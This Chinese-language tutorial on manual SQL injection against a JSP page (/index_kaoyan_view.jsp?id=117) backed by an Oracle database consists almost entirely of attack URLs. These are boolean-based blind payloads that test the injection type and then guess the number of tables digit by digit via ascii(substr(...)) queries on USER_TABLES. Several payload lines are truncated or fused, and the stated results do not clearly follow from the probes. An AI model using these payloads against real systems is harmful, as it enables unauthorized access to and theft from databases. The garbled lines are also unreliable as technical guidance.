手工注射JSP的代碼

1、 判斷注入類型（數字型還是字元型）

字元型和數字型資料判斷：（希望有人能進一步的細化，細分為數字型和字元型判斷兩部分）

/index_kaoyan_view.jsp?id=117 And user>char(0)
/index_kaoyan_view.jsp?id=117 And user
/index_kaoyan_view.jsp?id=117 And user>char(0) And 1=1
/index_kaoyan_view.jsp?id=117 And userchar(0) And %25=
/index_kaoyan_view.jsp?id=117 And userchar(0) And ( )=(
/index_kaoyan_view.jsp?id=117) And user/index_kaoyan_view.jsp?id=117 And str(98)>str(97)
/index_kaoyan_view.jsp?id=117 And str(98)
/index_kaoyan_view.jsp?id=117 And str(98)>str(97) And 1=1
/index_kaoyan_view.jsp?id=117 And str(98)str(97) And %25=
/index_kaoyan_view.jsp?id=117 And user
/index_kaoyan_view.jsp?id=117 And str(98)str(97) And ( )=(
/index_kaoyan_view.jsp?id=117) And str(98)
出現正常的頁面：
/index_kaoyan_view.jsp?id=117 And USER>CHR(0)
/index_kaoyan_view.jsp?id=117 And USER
 
2、 猜解表數量和表名
資料庫數量為3：
/index_kaoyan_view.jsp?id=117">
/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
/index_kaoyan_view.jsp?id=117 And 
3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)
/index_kaoyan_view.jsp?id=117 And UNISTR(1)>UNISTR(0)
 
以下為猜解資料表數量
資料表第一位為：1
/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))
 
資料表第二位為：3
/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))
 
資料表第三位為：1

/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))
/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))